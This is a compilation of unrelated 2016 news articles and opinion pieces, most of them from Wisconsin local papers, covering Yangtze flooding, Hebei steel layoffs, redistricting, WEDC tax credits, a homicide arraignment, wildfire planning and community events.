Initially he denied knowing anything about the chase, insisting he had been at work, but eventually relented and admitted he had fled because he knew that if he stopped the bike was unlicensed and uninsured and would be towed.

Charges of felony fleeing an officer in a motor vehicle, reckless driving, speeding, operating an unregistered vehicle, no Minnesota drivers license, and no proof of insurance are pending, Ganrude said. The mans name will be released when formal charges are filed.
(Global Times) 07:44, April 22, 2016

Yangtze tops dangerous 1998 level as Three Gorges drains

Water levels in a total of 61 rivers across China have exceeded flood warning levels so far this year, and the Three Gorges Reservoir is draining some of its stored water to brace for possible larger floods this summer, water resources authorities said.

Many major watercourses including the Ganjiang River in East China's Jiangxi Province, the Xiangjiang River in Central China's Hunan Province, the Beijiang River in South China's Guangdong Province and the Beiliu River in South China's Guangxi Zhuang Autonomous Region have reached extremely severe flood control conditions, China National Radio (CNR) reported.

Southern China has witnessed seven heavy rainstorms this spring, resulting in the highest precipitation levels in five years, CNR reported.

According to statements Yang Kun - an official with the Office of State Flood Control and Drought Relief Headquarters - made to China Central Television on Wednesday, the water level along the middle and lower reaches of the Yangtze River was up to 3.52 meters higher than the historical average and 2.31 meters higher than the water level in 1998, when heavy flooding of the Yangtze killed 1,320.

Yang said that the higher water level was partially due to more rainfall, and also in part due to the draining of the Three Gorges Reservoir to prepare for heavy flooding this year.

Chinese authorities have warned since late March that heavy floods are very likely on the Yangtze River this year.

Water experts said that the floods expected this year, though quite similar to the 1998 flooding, are unlikely to cause similar consequences due to China's improved flood control capabilities.

"China has built more water projects since 1998, including the Three Gorges Dam, which can adjust the peak flood level of the Yangtze River quickly, and the overall flood control situation will be a lot better," Ma Jun, director of the Institute of Public and Environmental Affairs, told the Global Times.

Liu Ning, China's vice minister of water resources, said in late March that heavy flooding this year is due to a prolonged, strong El Nino effect, the Xinhua News Agency reported.

Liu said that meteorological and hydrological analysis shows the El Nino event, which began in September 2014, has been the longest and strongest of its kind since observations began being recorded in 1951.

Several key tributaries along the Yangtze River, such as Dongting Lake and Poyang Lake, face more pressure caused by a high riverbed, Ma said. "The authorities need to pay special attention to many small dams and reservoirs in the tributaries, which are of poor quality and have been improperly maintained, as any collapse or break could worsen the flood situation downstream."
Students from Lisa Miemeyers fourth grade class at Aviston Elementary in Aviston, Illinois, wrote a letter to the editor on Jan. 29 asking for post cards, souvenirs, resources or any information from residents in the Baraboo area so they may have the opportunity to learn something about Wisconsin.
Presidential candidate Sen. Bernie Sanders keeps talking about the necessity of a political revolution. While I agree on the need, its not going to happen until the majority of voters experience a political evolution.

The reality is most Americans dont pay much attention to politics and easily are fooled by misleading campaign ads. I understand that. A majority of people are too busy battling family, health or other personal issues. Many are working too many hours for too little pay and dont have time to worry about anything except paying the bills. But the irony is, theyre the ones who most need to pay attention and vote for candidates who would actually make their lives, and this country, better for everyone. Yes, even better for the rich. Because if more people can afford to buy what businesses sell, the rich will get even richer than they are now. Its a win-win.

I didnt think about these things until recently. When my husband and I were farming, we and our friends paid little attention to politics because there wasnt time or energy to do more than just survive. In the warm months, we worked 15 hours a day and were in the barn or the fields for many more hours than we were in the house.

We also were raising children and maintaining equipment, our home and farm buildings. There was no time for television and we never were in one place long enough to listen to the radio. Newspapers werent delivered to our farm, but even if they were, we had no time to read them.

We did vote, but didnt have time to do any in-depth research into the candidates. I voted for the person, not the party, and ended up voting for Republicans more than half the time. Politics, to me, had to do with places far from rural Minnesota and had no relevance, I thought, to our everyday lives. I was mistaken. Everything our lawmakers do affects our lives for better or worse. And too many of them have no problem hiding the truth from their constituents.

Along the way, savvy Republican strategists realized they needed more than rich peoples votes to win elections. They knew ordinary working people would never vote for their candidates if they revealed their real agenda. So they had to identify and then emphasize issues average Americans would rally around. And they were successful. They created and used fear to push hot-button issues like gun legislation, abortion and gay marriage, knowing that many voters could be manipulated to concentrate on those things and ignore the important issues like living wages, transparency in government, fair elections and preserving the quality of the air and the water.

I confess I fell for the gun control ruse. No way, I thought, would we let anyone take our guns. Almost all farmers have guns. They go hunting and they also have to kill livestock animals to put meat on the table. Republican propaganda made it sound like Democrats were going to take the guns away from responsible gun owners. In reality, less than one percent of liberals want to do that, and itll never happen, but hey, fear works and gets Republican candidates the votes theyd never get if people knew they were being tricked.

Its the same with the issue of abortion. There are fewer abortions per hundred women now than there were before it was legalized, and fewer women die as a result. And gay marriage? Who does that hurt, really? Nobody. But they needed the evangelicals votes, so they used religion to pull them in.

Meanwhile, CEO pay has sky-rocketed, but wages are stagnant because Republican lawmakers vote against unions and raising the minimum wage. The quality of our air and water has declined because corporations that profit from pollution donate big bucks to Republicans. After theyre elected, they pass bills to let their donors do what they want, and also give them huge subsidies and other favors.

I learned all this after I finally started to pay attention, so I do understand how easy it is to be fooled and distracted from the really important issues. Since then, Ive tracked how our lawmakers vote. Trust me, the parties are not the same. Democrats continue to vote for workers rights, fair elections, preserving our clean air and water, quality schools, fair compensation, ethical government and equal treatment for all Americans. And none of them have voted to take away our guns.

But Im a realist. I know its going to take time for people to realize these things, and Bernie or no Bernie, there will be no political revolution until they do.
Its disappointing that Nebraska Gov. Pete Ricketts vetoed a bill that would take some of the politics out of drawing boundaries for congressional and legislative districts.

The bipartisan plan hammered together by Sen. John Murante of Gretna, a Republican, and Sen. Heath Mello of Omaha, a Democrat, had the potential to be a significant improvement over the status quo.

The reasons the governor cited in handing down his veto dont provide justification for his action.

Its amusing that the governor tried to portray the bill as a move that would put redistricting in the hands of party insiders who know how to draw districts to favor their friends and political allies.

In reality thats a perfect description of the existing system.

In the last redistricting effort, political cronies huddled behind closed doors to put together maps. In testimony on the bill, several state senators pointed out that then-Gov. Dave Heineman was active in the discussions. State senators pushed for boundary changes that would help them retain their seats.

The bill by Murante and Mello would have created a nine-member Independent Redistricting Citizens Advisory Board; its members would be selected by state senators caucusing on the basis of Nebraskas congressional districts.

The board would begin its deliberations on the basis of maps drawn up by the legislative research office. Final authority would rest with the Legislature, which would vote on the boards plan.

Ricketts also claimed that the plan was unconstitutional, but hes probably wrong.

Gavin Geis, executive director of Common Cause Nebraska, pointed out that the constitutionality of an independent redistricting commission in Arizona was upheld by the U.S. Supreme Court. And Iowa has used a somewhat similar system for decades, leaving final approval up to a vote of the Legislature.

As long as the legislature retains the ultimate authority in deciding which maps make the cut, they are meeting their constitutional burden, Geis said.

Murante on Tuesday said he would not contest the veto. Thirty votes are needed and the bill tallied 29 on final reading.

If the goal was to reduce partisanship in redistricting, theres no doubt that the proposed system would have been an improvement over the way its done now.
It was just more than a year ago  April 13, 2015  that a large wildfire destroyed 337 acres of forest land in the Town of Necedah.

The devastating Railroad Fire of 2015 showed how quickly fires can spread in early spring and emphasized the need for fire protection in rural communities. While the Necedah fire burned close to a populated area, no structures were lost and lives were spared.

Several townships on the eastern side of Juneau County are considered wildfire at risk zones, either high or very high, by the Wisconsin Department of Natural Resources (DNR). The towns of Armenia, Necedah, Clearfield, Germantown, Marion, Kildare and Lyndon, along with the villages of Necedah and Lyndon Station, are in the very high at-risk category.

To combat the threat of wildfires, both the town and village of Necedah, along with the city of New Lisbon and town of Germantown, have worked with the DNR to develop a Community Wildfire Protection Plan (CWCP), a five-year guide to keep communities safe if a large wildfire breaks out. With current plans set to expire, both municipalities in Necedah voted to update their plans, and the town of Germantown revised its plan in 2015.

Amy Luebke, who has worked with the DNR since 2008, has helped develop CWCP guidelines for 15 counties throughout central Wisconsin.

Wildfires are a community issue; it impacts everybody from homeowners to subdivisions to towns, Luebke said. There are a lot of impacts for a large wildfire in terms of the tax base, aesthetics and problems with roads. All kinds of things can occur that will affect and impact a town.

Luebke said protection plans help bring together community officials and local residents in a proactive approach. While the plans can range in scope, Luebke said its a solid starting point for rural communities, especially areas with many acres of forestland.

It raises awareness that there is high fire risk in the area, promotes fire prevention, in terms of education and outreach, Luebke said. It also gives tips on how residents can make sure their roadways are accessible so firefighters can get to their home.

The plan also identifies fire protection projects that would be most beneficial to their community. The plans biggest goal is to keep communities safe, especially during high-risk wildfire months in the spring and fall.

Its just about getting our feet underneath us and planning ahead of time so we can do as much as we can to reduce the impact, Luebke said.

The plan is funded by a federal litigation fund, but communities have to designate time and resources to meet the plans objectives within a five-year term. Most of the out-of-pocket expenses are paid through municipal grant funds. Luebke said sweat equity is vital to meeting goals.

What you do ahead of time will make people that much safer and will reduce the risk of loss of life and loss of homes and negative impacts that can result from a wildfire, Luebke said.

To be eligible for the plan, a town has to be at a high or very high fire risk. Going forward, the DNR would like to work with all high-risk towns in eastern Juneau County.

In New Lisbon, Lynn Willard has served the local fire department for 43 years. Hes seen the importance of the plan first-hand. Willard, who serves as New Lisbon Fire Chief, said his department also covers Germantown, Fountain, Lisbon, and Clearfield townships. More than 4,700 people live in these municipalities.

The biggest advantage is that were educating people to clear around their homes, Willard said. Take care of the brush, keep the grass mowed, and then the other biggest thing is, because our trucks are big, they need to build driveways large enough that we can go through them. With help from the DNR, I think were doing a pretty good job of educating people.

In the town of Germantown, Willard constructed an accessible driveway map several years ago. Since the eastern side of the county has many seasonal, remote cabins and cottages, finding residences during a fire isnt always easy. While the New Lisbon area hasnt seen a large wildfire in many years, Willard said four small fires have broken out already this spring.

Last weekends warm, breezy conditions made the fire risk high, along with the areas dry weather, however rain fell throughout the past week.

Usually we have about six or so a year, but its fairly early yet, Willard said. I always tell people to follow the rules and regulations because if we show up (to put out a fire), ultimately youre going to get a bill, either from us or the DNR.
Juneau Countys Land, Forestry and Parks Department is hoping to develop its five-year recreational plan, but it needs help from county residents.

The department, in conjunction with the North Central Wisconsin Regional Planning Commission, has developed an online recreation survey that will help the county determine what projects are important as it develops a five-year plan. The survey can be accessed by going to www.surveymonkey.com/r/JuneauRec. Deadline for completion is Saturday, April 30.

The North Central Wisconsin Regional Planning Commission covers a vast 10-county region, from the border of Michigans Upper Peninsula to Juneau County.

According to county land, forestry and parks director Brian Loyd, the county develops the survey every five years to become eligible for stewardship grants.

It gives us the ability to apply for those grants and then also have them rank and compete well against other counties and municipalities, Loyd said. Its important for us to get a survey of what recreational needs are needed in the county; what people would like to see, and to give the plan a new look every five years because those priorities change.

Through help from the North Central Wisconsin Regional Planning Commission and the public, the county will develop a new plan, running from 2017-2021. The plan allows not just the county, but all cities, villages and towns in Juneau County to use grant money for future projects.

We also plan to hold a public hearing sometime this summer to get the public involved, bring them in and have a discussion, Loyd said. Were always open to listening to peoples ideas; this survey just puts it in the spotlight a little more. The parks departments main role is to implement all of these, we just want an avenue to give people a voice.

The survey also allows residents to address items in the last five-year plan that didnt get completed. Two key items Loyd would like feedback on include what potential recreational uses residents would like to see at the county landfill property and whether residents would welcome ATV/UTV use along the Hillsboro State Bike Trail between Hillsboro and Union Center.

The county landfill property is located between New Lisbon and Mauston off of County Highway B.

The landfill is still operated as a transfer station for recyclables and garbage, but there is also about 200 available acres there, so there may be an opportunity in the future to re-purpose that land, Loyd said. Were just trying to capture some ideas that folks would like to see. Of course, we also have to be respectful of the landowners in that area, too.

While the bike trail is owned by the state, the county helps maintain it by clearing brush and keeping the path clear and safe.

From some preliminary conversations with the City of Hillsboro, it looks like there is some interest in making it into a multi-use trail with the added use of ATV and UTVs on it, Loyd said. We just want to test the waters to see if the public would be in favor of that or if folks are opposed to it.

If there is interest, the county will have to determine if the trail is suitable for ATV use and select a safe area for all-terrain vehicles to cross along Highway 33 in Union Center.

Loyd said the plan could also address recreational desires for both Castle Rock and Petenwell Lakes.

Anything outdoor related, as far as recreation goes, and anything villages or cities want to add, whether it is boat launches, bike trails or canoe launches; we do want to cast a wide net and see what folks think, Loyd said.

For more information, contact Loyd at 608-847-9390 or Fred Heider from the North Central Wisconsin Regional Planning Commission at 715-849-5510, ext. 310.
In January, we came together as rural Wisconsin representatives to announce the launch of the Rural Wisconsin Initiative, a package of bills authored by Reps. Ed Brooks, Romaine Quinn and Travis Tranel meant to bridge the rural-urban gap and to bring leadership and focus to the discussion about the future of our communities in rural Wisconsin. Since then, the eight bills that make up the package have garnered positive attention from people and organizations across the state. Two of our bills passed both houses of the legislature, and have been signed into law by the Governor, while the remaining six remain priorities for next years budget.

The vision of the Rural Wisconsin Initiative is to ensure equal access to health care, technology, education and workforce opportunities, no matter where in Wisconsin a person happens to be born. To ensure a quality education, a school needs to keep good teachers, an issue where rural areas continue to struggle. With the passage of AB 793, retention will become easier. This bill expands the teacher loan repayment program, which has served Milwaukee, to include rural areas. The program has helped Milwaukee area teachers to obtain and have forgiven up to $30,000 in loans. This adds an important recruiting tool to the toolbox of rural school administrators.

Technology can be a great equalizer for residents in rural areas, but once again, access is critical. Connecting all of Wisconsin with high speed internet is an important goal, and we took steps toward making that goal a reality by passing AB 820. This bill establishes the Broadband Forward certification, which enables communities to voluntarily agree to standards that make it easier to implement broadband projects. Rural communities can use this certification to signal their desire and preparedness for new broadband investments.

The remaining proposals in the Rural Wisconsin Initiative continue to drive conversations in the capitol regarding our next budget. Full implementation of the initiative remains a goal we are working toward in 2017. We would like to see all of the remaining pieces of the Rural Wisconsin Initiative enacted next session, either through the budget or as standalone bills. Increasing funding for broadband expansion, for apprenticeship programs, and for rural medical residencies are top priorities.

However, the passage of the eight bills that make up the initial package is only the beginning. The Rural Wisconsin Initiative is an ongoing pursuit that depends on receiving input from rural people across the state. Throughout the remainder of this year, we will work together to draft new legislation that will help propel both our communities and the discussion of the future of rural Wisconsin forward. Please visit www.RuralWisconsinInitiative.com. Learn about the bills, share your ideas, and make your voice heard today. Together we can ensure that our towns and villages remain great places to live, work and grow.

Ed Brooks, 50th District

Romaine Quinn, 75th District

Travis Tranel, 49th District

Joan Ballweg, 41st District

Kathy Bernier, 68th District

Mary Czaja, 35th District

James W. Edming, 87th District

Joel Kitchens, 1st District

Scott Krug, 72nd District

Bob Kulp, 69th District

Tom Larson, 67th District

John Macco, 88th District

Jeff Mursau, 36th District

John Murtha, 29th District

Todd Novak, 51st District

Warren Petryk, 93rd District

Keith Ripp, 42nd District

Al Ott, 3rd District

Rob Swearingen, 34th District

Gary Tauchen, 6th District

John Spiros, 86th District

Nancy VanderMeer, 70th District
MILWAUKEE  The Wisconsin Economic Development Corp. is reviewing its job-related tax credit programs because of possible discrepancies between the number of jobs created and the amount of tax credits claimed  nearly $66 million since 2007.

WEDC officials said Thursday they are still trying to understand the scope and magnitude of the problem.

But officials acknowledged they have identified inaccuracies in how the agency counts the number of jobs a company creates that qualify for reductions in taxes.

WEDC made 27 awards totaling $124.4 million without proper review The agency review comes on the heels of a State Journal investigation into a questionable $500,000 loan.

WEDC chief executive officer Mark Hogan made the disclosure at an agency board meeting Thursday. But there were few details discussed in public before the board moved into closed session to talk further about the issue, citing an exemption in the states open meetings law to discuss potential litigation.

Its unclear if the discrepancies will prompt the agency to seek to recoup money from companies excessively awarded tax credits.

Under the program, the state reduces the taxes of companies that create and retain a certain number of jobs. The tax credits are based on a formula that takes into account the number of jobs created or retained and how much they pay. Companies can claim the credits after WEDC verifies they have fulfilled the job requirements.

WEDC records show that since July 2007 the agency has made 305 job-related tax credit awards totaling $170.6 million.

Of that amount, companies have so far qualified for $65.8 million in credits for meeting job-creation goals, according to agency records, while the remaining nearly $105 million has not yet been earned.

But Hogan told the WEDC board that the tax credits issued have been based on faulty calculations.

WEDC awards increase as job creation numbers fall The agency gave out almost $90 million more in awards, but the total number of related jobs fell by nearly 6,000.

WEDC figures show that the credits are based on the creation of 13,797 jobs and the retention of another 44,114. Its unclear how inaccurate those numbers are.

We expect to see adjustments, Hogan said.

He added the agency will provide a more detailed report at an open meeting next month.

Hogan declined to comment further after the meeting.

The tax credit program began in 2007 under the old Commerce Department.

WEDC discovered problem

Agency spokesman Steven Michels said the discrepancies were discovered as part of a compliance review process that the agency put in place in 2013, in the wake of Legislative Audit Bureau reports that found several agency shortcomings. The basis for the review is not related to any fraud, he said, but he would not elaborate on what specific finding triggered the review.

Finding errors and checking our work is a part of WEDCs mission to continuously improve as stewards of taxpayer dollars, Michels said. Our goal will be to identify any errors and areas where process can improve moving forward.

Its unclear how many of the agencys tax credits will be reviewed or how many include errors.

The Legislature ended the states jobs tax credit and economic development tax credit programs in December, but many of the awards remain open with job-creation and retention milestones set over the next several years.

WEDC has been under close scrutiny after a series of scathing reports by the Legislative Audit Bureau and news reports about failed loans and tax credits that didnt result in promised jobs.

Commerce, WEDC may have illegally granted $21.3 million in tax credits The nonpartisan Legislative Fiscal Bureau raised the issue in August, but DOJ and DOA lawyers disagree there's a problem.

An internal review last year prompted by a Wisconsin State Journal report on a failed $500,000 loan given in 2011 without proper underwriting found there were 28 awards totaling $126 million for which the agency couldnt locate a staff underwriting report.

Hogan, the agencys third CEO since 2011, also told the board on Thursday that he and chief financial officer Brian Nowicki will continue to take on the responsibilities previously handled by the vice president of credit and risk. The agency had been seeking a replacement for Jake Kuester, who left for a private-sector job in Minnesota last fall. That search will be postponed indefinitely, Hogan said.

The board also approved an amendment to its budget doubling the amount of reserves for writing off loans from $3.5 million to $7 million. The reserves cover both forgivable loans and defaulted loans that wont be recovered.Earlier this week a judge issued an arrest warrant for a De Pere businessman whose company Green Box NA Green Bay owes WEDC more than $2.1 million in unpaid loans.

The Green Box loan was one of several bad loans from WEDCs early days when the agency was under pressure to help Gov. Scott Walker create more than 250,000 jobs. The agencys default rate has declined, but several of the defaulted loans, including Green Box, are still on the books as money the agency hopes to recoup.

Walker and the Legislature ended the agencys loan programs in the latest state budget.
A Friesland man accused of killing his wife in the parking lot of the Portage Motor Ridge Inn in February appeared in court Thursday, entering a plea of not guilty by reason of insanity or mental deficiency.

Kevin Karl Krueger, 51, charged with first-degree intentional homicide, possession of a firearm by a felon and possession of narcotics, appeared in Columbia County Circuit Court for his arraignment hearing in front of Judge Todd Hepler.

Krueger is accused of fatally shooting his wife, Tracy Hill Krueger, 41, of Randolph, when she went outside the Motor Ridge Inn to talk to him on the morning of Feb. 15.

Krueger was arrested less than 15 minutes after the shooting was reported when a Columbia County Sheriffs deputy spotted his vehicle on Klappstein Road near Highway 16.

The Kruegers were scheduled to appear in court later that week regarding their pending divorce.

After his arrest, according to court documents, Krueger told police that he did not remember shooting his wife. All I wanted to do was love her and be with her and the kids.

Officers found several pills of Oxycodone pain killers and a knife in the Jeep Cherokee Krueger was driving, according to court documents.

Police also saw a shotgun wrapped in a sweatshirt with a live cartridge in the action and a spent shell on the floor. The weapon was traced to a friend of Krueger, who found that the shotgun was missing from inside a case in his home.

Krueger has not been legally allowed to possess a firearm following a 1987 conviction for armed robbery in Price County.

In court on Thursday under increased supervision from the Columbia County Sheriffs Office, Krueger arrived, represented by defense attorney Leonie Dolch. Moving quickly through the proceedings, Krueger did not speak as Dolch relayed to Hepler that Krueger would like to enter a plea of not guilty by reason of mental disease or defect and demanding a speedy trial.

Although it is not often raised, and less often implemented, defendants have a constitutional right to a speedy trial to begin within 90 days of the demand being made. This puts the trial on the calendar, or at least within a finite period of time, but more often is waived in favor of having more time for case preparation.

Hepler accepted the plea and ordered that a psychological evaluation be conducted on Krueger with the case being forwarded to Judge Andrew W. Voigts Branch 2 Courtroom.

Thursdays hearing was attended by family and friends of Tracy Hill Krueger, including her father and one of her teenage daughters, who sat in the front row with one of the courts victim witness coordinators.
(Global Times) 07:46, April 22, 2016

Local government to absorb employees through mergers, restructuring

Up to 150,000 steel workers will be laid off in China's largest steel producing province, Hebei, as part of the country's determination to reduce over-capacity and upgrade industries, provincial authorities said.

But they added that all the affected workers will be properly resettled, and no one has been left jobless.

Song Limin, Deputy Chief of Hebei's Development and Reform Commission, told a press conference in Handan, North China's Hebei on Thursday that 100,000 would need to be resettled in the next five years.

"In the process of industry transformation and upgrading, all affected workers have been properly taken care of, through reassignments or transfers to other companies," Song said.

Amid the international economic slowdown, China is going through a painful period of economy restructuring, including reducing excess lower-end industrial capacity. As a result, more than a million workers may need to be laid off nationwide, Premier Li Keqiang's said in March.

According to a report released by the Hebei government on Thursday, during the 12th Five-Year Plan (2011-15), the province cut the capacity of the iron industry by 34 million tons, 41 million tons in the steel industry, 138 million tons in the cement industry, while reducing the use of coal by 27 million tons.

"In the Handan Iron &Steel Group, employment and production are relatively stable, and the employees have mainly been reshuffled, such as being transferred from major positions to minor ones like logistics or services, or on rotation in different positions," Cao Ziyu, a member of the Standing Committee of the CPC Handan Committee, and Executive Vice Mayor of Handan, said Thursday.

Meanwhile, the Handan government announced that the city will reduce the capacity of the iron industry by 16.14 million tons and the steel industry by 12.04 million tons.

The Beijing Youth Daily reported in March that according to Hebei Governor Zhang Qingwei, 60 percent of steel companies would be closed or merged by 2020.

"In Handan, the number of steel companies has been reduced from 35 in 2012 to 22 by the end of 2015," Cao said.

Cutting overcapacity in sectors like coal and steel is part of the country's supply-side structural reform and high on the government agenda, the Xinhua News Agency reported.

According to the Ministry of Human Resources and Social Security, in the process of cutting excess capacity in the steel and coal industries, 1.8 million workers will be reassigned and resettled, people.com.cn reported in March.

Reassignment problems

In February, the State Council issued a guideline that no new coal mines will be approved before 2019 and that the country will shut down 500 million tons of capacity and consolidate another 500 million tons in fewer but more efficient mine operators in the next three to five years.

Song said some of the steel workers would be transferred to non-skilled support positions, and some will be trained and transferred to a tertiary industry. He added instead of liquidating the companies, the government will absorb the employees through mergers and restructuring.

A manager of a local company, Handan Shexian Jinyu Cement, who preferred to be called by his surname Hao, told the Global Times that his company has taken in some workers from small bankrupt companies, mainly the skilled ones, but will also hire some security people and canteen staff.

"Some workers who are close to retirement talk about early retirement and unemployment," said a skilled worker who has worked for 20 years in Han-Steel, adding that he receives a monthly salary of 3,000 yuan ($463), 400 to 500 yuan less than before.

"Reassigning workers in their 40s or 50s is a problem, as it would be hard for them to learn new skills," said Feng Liguo, an expert at the Beijing-based China Enterprise Confederation.

Another major issue is the high cost of re-educating, reassigning and re-employing workers, and the process would be slow, Lin Boqiang, an energy expert at Xiamen University told the Global Times.

The Hebei Daily reported that 830 companies have provided 1.53 billion yuan to subsidize 920,000 workers.

After all, the government should take measures to stimulate the market, increase the need of the products of those companies, so that they can make profits and better solve the problem resettling workers, Lin said.
Organizers of a new event in Portage are asking community members to stop and think, even for only a moment, about how important reading is in their everyday lives.

Theyll likely find literacy is implicit in almost everything they do, LaNae Jabas of CESA 5 said.

Literacy is the core to succeeding and moving forward.

To encourage reading for children, CESA 5 (Cooperative Educational Service Agency) seeks guest participation in Read to Succeed, an event where individuals and business representatives will read from their favorite stories, promote their businesses from booths, and display examples of what they read during their average workdays.

CESA 5, one of 12 organizations in Wisconsin for schools and other agencies that serve students, will lead the event from 3:30 to 6:30 p.m. May 17 at Rusch Elementary School, where a light dinner will be served.

Another goal set for Read to Succeed is that every child who attends will walk out with a new book.

We came up with the idea and just flew with it, explained Mary OBrien, who supports special education as the regional service network director for CESA 5. The organization hopes for a big turnout to Read to Succeed, one that engages people around literacy, provides resources for learning, connects families to organizations and businesses, and showcases the link between literacy and careers.

Organizers noted Read to Succeed can show young children how, for example, theres more to a police officers job than arresting people.

They dont realize reading is part of their jobs, too, OBrien said, noting reports and other documents required for the job.

Registered Read to Succeed participant Cindy Holland does therapy dog training in the area  and she has to read medications.

Cooks read recipes. Doctors read the latest medical research.

The list goes on, they said.

Not every kid is going to be ready for college, but we want to emphasize that literacy still plays a part if youre going to get a job, OBrien said.

Whether youre going through a drive-thru menu, reading stop signs  its part of your daily function. Without literacy skills, its difficult to be prepared for society.

It would likely surprise people to know, OBrien added, how literacy skills are really low across all grade levels, a problem that could exist for many reasons  from children not being exposed to reading at home, to behavioral or cognitive struggles that require more attention.

Its a whole gamut of things.

Reading is rewarding, too, in ways specific to the individual.

OBriens favorite book is The Best Christmas Pageant Ever by Barbara Robinson.

For Jabas, its Touching Spirit Bear by Ben Mikaelsen.

Its a story about accepting people for who they are, OBrien explained of her choice.

Its about self-realization and taking charge of your actions, and learning about yourself, Jabas said of hers.

Jabas wants your participation in Read to Succeed, she said, because literacy is one of the biggest pieces to being successful as an adult transfers out of high school, into the adult world.

The earlier we can get children involved the better, she said.

The more students involved (in the event), the more the community can show, Hey, this is important. This is how I use literacy on a daily basis.

Its for parents to realize theres so many ways to engage them in the process. Evidence shows the more a child is exposed to literacy strategies, the better off they are in the long run.

It just helps.

Portage is one of 35 districts in central Wisconsin served by CESA 5, which is headquartered in Portage. There are 12 CESAs in Wisconsin.

For more information or to register by April 29 for Read to Succeed, contact OBrien at 617-4672 or obrienm@cesa5.org, or Cathy Daentl at 745-5404 or daentlc@cesa5.org.
It takes more than a renovation to turn an administration building into a courthouse.

Along with changing the floor plan of the building at 400 DeWitt St., there must be a change in the way that court personnel who work in the building conduct their day-to-day business, Columbia County Circuit Court Judge W. Andrew Voigt told members of the County Boards Ad Hoc Building Committee Thursday.

Were going to have to develop what a new normal will be, Voigt said.

The actual remodeling of the Carl C. Frederick Administration Building into a true courthouse  a key part of Columbia Countys $45.51 million building project  wont start until a little more than a year from now.

But already, Project Manager Ron Locast of the Madison design firm Potter Lawson is preparing to complete schematic plans for the remodel by the end of this month, so he can work with the countys construction manager, J.H. Findorff and Sons, to calculate the remodeling projects cost.

Thursdays meeting included extensive discussion of adding a mail room to the building  where it should go, and what procedures should be followed for receiving deliveries of U.S. mail, packages and other deliveries.

People who now work in the building  which includes several county administrative offices as well as courts  now often pick up their departments mail at the post office. For deliveries, some vendors have electronic cards that allow them to bring the merchandise directly into the building.

If the remodeled courthouse has a mail room, Locast said, then county officials also need to think about policies and procedures regarding how to handle mail. For example, who would be authorized to sign for incoming packages? Who would be assigned the task of sorting mail? And would there be a need for a mechanism to screen letters and packages before theyre opened?

Now the county has to think of this building as just a courthouse, Locast said. The county needs to think about what that means in terms of policy and procedure.

Security issues

Some of the issues that have to be ironed out pertain to security.

Locast said he and others met Tuesday with officials of the Columbia County Sheriffs Office regarding security in the remodeled courthouse, and several sheriffs office officials had safety concerns about employees entering from the back of the courthouse through a four-vehicle sallyport that will be added to the buildings west side.

A 10-stall secured parking area  complete with a fence, gate and security cameras  is planned for the northwest side of the building, facing West Pleasant Street.

The question remains, however, as to how the judges and district attorneys office workers who would park in that area can get into their offices from the parking lot.

One idea, Locast said, is to extend the fence to the sidewalk and created a fenced-in area where the employees can get secure access to an existing entrance on the buildings north side.

Security inside the courtrooms also is an issue to be worked out.

Voigt said its important to create a situation whereby a judge can get out of the courtroom quickly and safely when theres an emergency, or use the bench itself as protection in case of gunfire.

Transporting prisoners

For transporting prisoners to and from the courtroom, the plan calls for bringing them in via the sallyport, bringing them up a secure elevator to the second floor and electronically closing a system of security doors that straddle the hallway, so that the prisoners can be brought into the courtroom without mingling in the hallways with the general public.

Locast recommended that the full County Board be shown the proposed interior plans for the courthouse at the County Boards May 18 meeting. Cost estimates probably will not be ready by that time.

Meanwhile, Locast said he plans to have more discussions with court employees regarding the proposed layouts of their offices.

In other business, Committee Member Fred Teitgen of the town of Dekorra proposed securing extra services from lighting design firm KJWW (which has a Madison office) to illuminate two key pieces of art in the new buildings now under construction alongside the Portage Canal.

The work, according to Teitgen, would entail building a fixture, planned for the three-story administration building, which would display four vertical U.S. flags, in a box shape, lighted from the inside. Also, the blue heron sculptures planned for the two-story Health and Human Services building would need special lighting.
You werent imagining things if you saw a very large French fur-trader era canoe Wednesday on the Wisconsin River near the Dells.

Bringing out the Voyager canoe from winter storage has been an Upham Woods Outdoor Learning Center tradition for several decades.

Upham Woods staff members, along with UW-Extension colleagues and Wisconsin 4-H members, rowed the 18th century replica canoe from the Illinois Avenue boat launch near downtown Wisconsin Dells about two miles upriver to the learning centers home base along the Wisconsin River off County Road N.

Upham Woods staff member Hannah Conlon said the canoe is one of Upham Woods most memorable teaching tools. She said the canoe is brought out at the beginning of the centers school season and offers an opportunity for youths and adults to learn the historical significance of the French to the Midwest.

The purpose of this program is to introduce students to the fur trade era and the lives of some of its most colorful participants  the voyageurs, Conlon said. Students engage in a role play by paddling a Voyageur canoe and learning about the Voyageur way of life. While paddling, educators (in French accents) teach traditional French songs, discuss the lifestyle of voyagers as well as the natural history of the Wisconsin River.

As staff members rowed up the river Wednesday, they depicted a scene that one may have seen on the river more than 200 years ago. Paddlers wore unique head coverings called toques, while one rower at the front of the canoe called lAvant sang and kept spirits high to make sure fellow Voyagers were paddling together to a beat.

Middle paddlers are referred to as engages or employees. The back paddler is referred to as the Gouvernais, who Conlon said is the person who makes sure everyone is doing their job, pulling their weight and steers this very large canoe.

Conlon explained that Voyager life was an extremely difficult one as explorers left their family behind for most of the year to paddle goods from Fort Michilimackinac through the Great Lakes, down the Fox and Wisconsin Rivers to several Native American encampments along the Wisconsin River.

Students and adults learn to appreciate another culture and lifestyle that was an essential part of Wisconsin history as well as connecting with nature in an exciting new way, she said.

Upham Woods Program Director Max Myers is excited about the centers upcoming summer season. While the majority of programming is for 4-H groups, Myers said there are opportunities for any organization that might be interested in renting the facility.

Myers said in a rental scenario our naturalists could run a program for them, whether its the Voyager, leading hikes or evening programs that are more lecture style.

Upham Woods is having an open house today (April 23) in honor of Earth Day. The event is free of charge and anyone is welcome to attend. From 9 to 10 a.m. staff will conduct an invasive species mitigation program which will include planting native bushes. From 10 a.m. to noon, tours of Blackhawk Island will be given. For more information, call 254-6461.
Transitions of both the celebratory and the bittersweet varieties marked the third annual Friends of the H.H. Bennett Studio annual meeting Wednesday evening at the Wilderness Resort Glacial Canyon Conference Center.

The Friends, their supporters and guests  who filled up a conference center ballroom for a dinner and program  celebrated the Studios successful 150th anniversary commemorations of a year ago, the organizations funding capital increase from $87,908 starting in 2015 to $98,430 at the end of the year, and exhibit additions and upgrades for the historic H.H. Bennett Studio.

H.H. Bennett great granddaughter Betsy Grant was named the Friends new president, replacing Cheryl Boehmke, who was honored and roundly applauded for serving in that role from the organizations inception three years ago.

